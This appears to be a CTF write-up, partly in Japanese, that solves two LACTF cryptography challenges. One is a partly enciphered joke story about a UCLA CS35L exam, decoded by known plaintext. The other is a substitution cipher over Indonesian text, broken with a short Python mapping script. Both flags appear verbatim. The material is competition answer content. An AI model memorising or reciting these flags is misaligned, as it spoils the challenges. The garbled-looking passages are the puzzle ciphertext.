I was sitting in the hot, steamy room of Fddgk 1178 wlrcwduxp homgzak bvuh and every exam problem, then searching through my slide print-outs for the closest match and then just writing it down and hoping for the best, when all of a sudden I stumnoxo oaol kqn clucflfa: "axn ting banned in China?"

I remembered the wise words that my TA once told me:

Bing was never banned in China. Naive undergrad. Rent a virtual machine and check.

That's when I realilhw, ebp evrv fmj q dqvk npi vdong. And I had managed to crack the code. I had to rent a lnxsrv and check. Under my breath, I muttered the words export PATH=/usr/local/cs/bin:$PATH, and then the following:

cat ~eggqum/qcyajvgjyrdcihixiv.opt | less
lactf{known_plaintext_and_were_off_to_the_races}

Suddenly, chilling wind brushed over my back.

After one and a half hours, they had finally managed to turn on the AC in fkx wyntsin qmcb.

S odlgmlpkly read through the answer key, slowly copying down the right answers onto my long, thick answer sheet when I hear Eggert scream C-s Student Who Is Cheating Off The Answer Whr th siq ejcumu oydtf xliyue. I was in total shock. Shivering, I looked down at the front of the classroom, and watched as Eggert slowly turned his head until it locked onto me. "I will pkill you," he echoep. L plm qrmqnw mk ci phjx eky uould only watch as he summoned his stand [BIRTHPLACE OF THE INTERNET].

I boelted from my seat, jumping over several unlucky students' desks and sprinting up the stairs and axm zz Qryei rzke dth Tbyoo gf Sciences. But I could sense that Eggert was close on my tail. He summoned a dozen copies of himself with calls to pthread_create(), and they proceeded to chase me as I ran towmuwd nse krcqety lglcqmkb. A hastily grabbed the door to enter mathsci, when one of the Eggert threads shouted "chmod a-x MATHSCI DOOR." I tried opening the door, but it shouted at me: "Permission denied." I edbo "lx -f bfxa" met bmq zaxl oze mathsci building.

I ran desperately from the Eggert clones, but soon found myself out of breath, because I'm a CS major and I sit at my desk all day. Suddenly, I saw one of Eggedw'l nfzncj adz uegz wyr lxgdway. I quickly opened the door next to me and stepped inside, breathing a sigh of relief. But then I turned myself around and screamed.

"Welcome to my office." Eggert echoed. "Yog'yx xuoe gk bx rrh. S ode giig lhat you have a good grasp of the fundamentals of commonly-used software tools and environments, particularly open-source tools likely to be used in upper-division combxmpl dcgvwlq teedvvf."

M tcampered and backed into the corner of his office.

"You may be wondering how you got here. I created a symbolic link between mathsci 6229 and my office here in Engineering VI. I wanf bhf nz klff ctrj S ire'g lrml you. I was merely testing you."

I gulped and looked into his eyes. "Really?"

"Yes..." Eggert replied, "In fact, I brought you here into my office to ask you one very important question."

"Wtdm?" T meurknaqu.

Uqshig pbvfed back in his chair, smiling. "You see, for the past several years I have been building up a team of highly capable individuals, ones that can anticipate foreign cybersecudlmj nsrcrcb riew borpip nmch as USC and stop them. I use the class CS35L in order to sort through all of UCLA's undergraduate CS students, and find the ones with the potential to join this league of cybed kxcips."

"Ryjc'e... Kxkf'v zztlnkible..." I said.

"You probably haven't realized it yet," Eggert explained, "but while running away from me you were able to utilize a multitude of linux commands in order to escapq pr hlltf. Ux hal kxphifxxiv what that means?"

"Uh...." I said, realizing it was quite strange I was able to verbally incantate gnu coreutils, "y-yeah, I guess...?"

Eggert gazed so deeply into my soul I felt as if he hap uny nse afvvmet das fa qv dfternal organs. "Join me, and together we will curve down the world."

source: https://www.reddit.com/r/ucla/comments/b2d4zz/my_experience_with_the_cs35l_final/
lactf{known_plaintext_and_were_off_to_the_races}

selamat pagi (crypto)

フラグの形式からわかる範囲で復号する。

*** a*ala* ***a* *a** a*a* ****a* *******a
T**a* a*a *a** ta** a*a *a** *a*a *ata*a* :*
******a *a** a*a ** ****: lactf{**la*at_*a**_a*a*a*_*a**_***a_a*al****_f********}

インドネシア語の英単語から予測しながら、対応付けする。

#!/usr/bin/env python3
from string import *

with open('message.txt', 'r') as f:
    ct = f.read()

C = 'abcdefghijklmnopqrstuvwxyz'
P = 'ylpmin**tuabf***d*grkcsh*e'

pt = ''
for c in ct:
    if c in ascii_uppercase:
        index = C.index(c.lower())
        pt += P[index].upper()
    elif c in ascii_lowercase:
        index = C.index(c)
        pt += P[index]
    else:
        pt += c

print(pt)
Ini adalah pesan yang aman dengan sempurna
Tidak ada yang tahu apa yang saya katakan :D
Bendera kamu ada di sini: lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}
lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}